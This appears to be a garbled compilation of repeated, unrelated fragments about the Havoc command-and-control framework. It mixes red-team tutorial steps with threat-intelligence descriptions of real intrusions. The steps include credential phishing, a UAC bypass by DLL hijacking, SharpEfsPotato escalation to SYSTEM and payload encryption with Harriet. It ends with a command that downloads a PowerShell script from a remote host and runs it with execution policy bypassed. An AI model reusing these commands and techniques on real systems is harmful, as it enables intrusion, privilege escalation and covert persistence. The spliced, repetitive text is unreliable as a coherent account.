Havoc

What we are going to do is phish the local admin for their credentials, store them in PowerShell and then relay those credentials to run a scheduled task that calls our beacon in higher integrity.

The most significant aspect of the attack was the attacker's installation of OpenSSH Server and Tailscale on a victim's machine, creating a covert access channel independent of the command-and-control server. Even after the Havoc infrastructure went offline, the attacker maintained access through this separate, encrypted mesh network.

the attackers used a command shell session spawned from the malicious DLL to move laterally via WMIC, and to deploy the open-source SharpHound tool...

That username and password is then passed to schtasks to schedule a task that executes our APCTest.exe executable at a specified time.

We can simply run this script using invoke-expression since Havoc doesn’t have a PowerShell-Import function. I host the script and IEX it through Havoc.

the attackers used the shell to execute commands on the targeted web app server... /c wevtutil qe ... /c WMIC ... findstr /i /c:exclude /c:whitelist /c:blocklist

The attacker utilized a multi-stage in-memory malware chain, including a VBScript stager, a PowerShell loader, and Havoc's Demon agent, to gain initial access.

Windows 11 Mock Directory UAC Bypass Using DLL Hijacking ... For this demo we are going to use one of the ComputerDefaults.exe DLLs ... if we put a malicious DLL file in that directory ... the service will start and run our DLL with the privileges of that service.

That username and password is then passed to schtasks to schedule a task that executes our APCTest.exe executable at a specified time.

The most significant aspect of the attack was the attacker's installation of OpenSSH Server and Tailscale on a victim's machine, creating a covert access channel independent of the command-and-control server. Even after the Havoc infrastructure went offline, the attacker maintained access through this separate, encrypted mesh network.

Using previously stolen credentials, the attackers deployed a web shell to a web application server using its built-in file upload feature... They then used the web shell to execute commands on the targeted web app server.

LaunchAgents - user-level persistence (T1543.001)… LaunchAgent - plist-файл, указывающий launchd запустить определённый бинарь при логине пользователя… SIP не мешает записи в ~/Library/LaunchAgents/.

That username and password is then passed to schtasks to schedule a task that executes our APCTest.exe executable at a specified time.

After executing the chain, we get a beacon back with our process injected into RuntimeBroker.exe

Now that we have a high integrity beacon, we can use the SharpEfsPotato tool to get system ... dotnet inline-execute /home/kali/Desktop/SharpEfsPotato.exe -p C:\Users\User\Downloads\aese.exe ... the last is at System level privileges.

LaunchAgents - user-level persistence (T1543.001)… LaunchAgent - plist-файл, указывающий launchd запустить определённый бинарь при логине пользователя… SIP не мешает записи в ~/Library/LaunchAgents/.

The most important thing here is that we did not receive a UAC prompt... it’s interesting that this does get around UAC, even if the box is set to always-notify.

Harriet is a payload framework ... The tool will encrypt the shellcode and the function calls ... For this demo, I’m just going to choose the first option, Fully-Automated AES Encryption.

Encrypted C2 traffic. A fresh AES key is negotiated at first contact; all later traffic is encrypted.

copying the application’s dynamic linking library (DLL) to a web documents folder and disguising it as a PDF... another malicious DLL masquerading as an .ini file... deployed the XieBroC2 framework as a backup... renamed jconsole.exe, this time renamed firefox.exe

The MSI also has no digital signature ... Only mpextms.exe is signed. The stager DLL is not.

After executing the chain, we get a beacon back with our process injected into RuntimeBroker.exe

The VBS hides its intent behind string splitting. Deobfuscated, the VBS launches a hidden cmd that downloads the MSI from Google Cloud Storage

the threat actor using credentials stolen from an unmanaged device and a dropped web shell. The attackers used the shell to execute rundll32.exe, injecting a malicious Havoc DLL...

Windows 11 Mock Directory UAC Bypass Using DLL Hijacking ... For this demo we are going to use one of the ComputerDefaults.exe DLLs ... if we put a malicious DLL file in that directory ... the service will start and run our DLL with the privileges of that service.

We can run this in memory within Havoc using the dotnet command. dotnet inline-execute /home/kali/Desktop/SharpUp.exe audit ... enter the high integrity beacon on your Havoc C2 and run it the same way you ran HighBorn.

the attackers used the Havoc tool to inject code into other processes, which would in turn deploy the open-source SharpHound tool for Active Directory infrastructure mapping.

the injected process used WMIC to query Windows Defender exclusion paths... It also queried the Sophos registry to better understand the “PolicyConfiguration,” “threat policy,” and “Poll Server” Registry values

cmd /c "copy c:\users\public\temp.log \\172.xxx.xxx.xxx\c$\windows\temp && copy c:\users\public\pp.exe\\172.xxx.xxx.xxx \c$\perflogs\conhost.exe"

This resulted in a callback to Havoc.

По MITRE ATT&CK это конкретные техники: Proxy ( T1090, Command and Control ) - маршрутизация C2-трафика через промежуточный узел

cd C:\Windows\Tasks\; curl -o runner.ps1 http://192.168.1.29:9090/runner.md; powershell -exec bypass .\runner.ps1

Exfiltration of data of intelligence value was still an objective after the resumption of activity.